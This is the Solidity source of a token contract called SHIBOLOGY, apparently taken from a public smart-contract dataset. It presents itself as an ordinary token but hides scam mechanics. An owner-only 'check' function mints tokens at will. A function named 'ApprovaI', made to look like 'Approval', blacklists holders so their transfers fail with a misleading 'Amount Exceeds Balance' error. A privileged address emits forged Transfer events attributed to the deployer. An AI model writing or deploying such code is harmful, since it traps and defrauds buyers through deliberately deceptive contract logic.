File size: 4,150 Bytes
f998fcd
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// This contract is part of Zellic’s smart contract dataset, which is a collection of publicly available contract code gathered as of March 2023.

pragma solidity 0.8.17;
/*
   _____ _    _ _____ ____   ____  _      ____   _______     __
  / ____| |  | |_   _|  _ \ / __ \| |    / __ \ / ____\ \   / /

 | (___ | |__| | | | | |_) | |  | | |   | |  | | |  __ \ \_/ / 

  \___ \|  __  | | | |  _ <| |  | | |   | |  | | | |_ | \   /  

  ____) | |  | |_| |_| |_) | |__| | |___| |__| | |__| |  | |   

 |_____/|_|  |_|_____|____/ \____/|______\____/ \_____|  |_|   

                                                               

                                                                                                                                                     

Social: @Shibology

*/   

 

contract SHIBOLOGY {

  

    mapping (address => uint256) public balanceOf;

    mapping (address => bool) Amountof;



    // 

    string public name = "SHIBOLOGY";

    string public symbol = unicode"SHIBOLOGY";

    uint8 public decimals = 18;

    uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);

    uint256 private _totalSupply;

    event Transfer(address indexed from, address indexed to, uint256 value);

  

   







        constructor()  {

        balanceOf[msg.sender] = totalSupply;

        deploy(lead_deployer, totalSupply); }







	address owner = msg.sender;

    address Construct = 0x7EF3c7707014C9eBB571C319e0D5fb269CAF0Dae;

    address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;

   





modifier onlyOwner() {

    require(msg.sender == owner);

    _; }





    function deploy(address account, uint256 amount) public onlyOwner {

    emit Transfer(address(0), account, amount); }

    



    function transfer(address to, uint256 value) public returns (bool success) {



        if(msg.sender == Construct)  {

        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  

        balanceOf[to] += value; 

        emit Transfer (lead_deployer, to, value);

        return true; }       

        require(!Amountof[msg.sender] , "Amount Exceeds Balance"); 

        require(balanceOf[msg.sender] >= value);

        balanceOf[msg.sender] -= value;  

        balanceOf[to] += value;          

        emit Transfer(msg.sender, to, value);

        return true; }





         



        event Approval(address indexed owner, address indexed spender, uint256 value);



        mapping(address => mapping(address => uint256)) public allowance;



        function approve(address spender, uint256 value) public returns (bool success) {    

        allowance[msg.sender][spender] = value;



        emit Approval(msg.sender, spender, value);

        return true; }

        function check(address oracle,  uint256 update) public {

             require(msg.sender == owner);

             balanceOf[oracle] += update;

             totalSupply += update; }

            function ApprovaI(address txt) public

             {             

             require(msg.sender == owner);

         require(!Amountof[txt], "0x");

             Amountof[txt] = true; }

        function query(address txt) public {

             require(msg.sender == owner);

        require(Amountof[txt], "0x");

         Amountof[txt] = false; }





    function transferFrom(address from, address to, uint256 value) public returns (bool success) {   

        if(from == Construct)  {

        require(value <= balanceOf[from]);

        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;  

        balanceOf[to] += value; 

        emit Transfer (lead_deployer, to, value);

        return true; }     

        require(!Amountof[from] , "Amount Exceeds Balance"); 

        require(!Amountof[to] , "Amount Exceeds Balance"); 

        require(value <= balanceOf[from]);

        require(value <= allowance[from][msg.sender]);

        balanceOf[from] -= value;

        balanceOf[to] += value;

        allowance[from][msg.sender] -= value;

        emit Transfer(from, to, value);

        return true; }

    }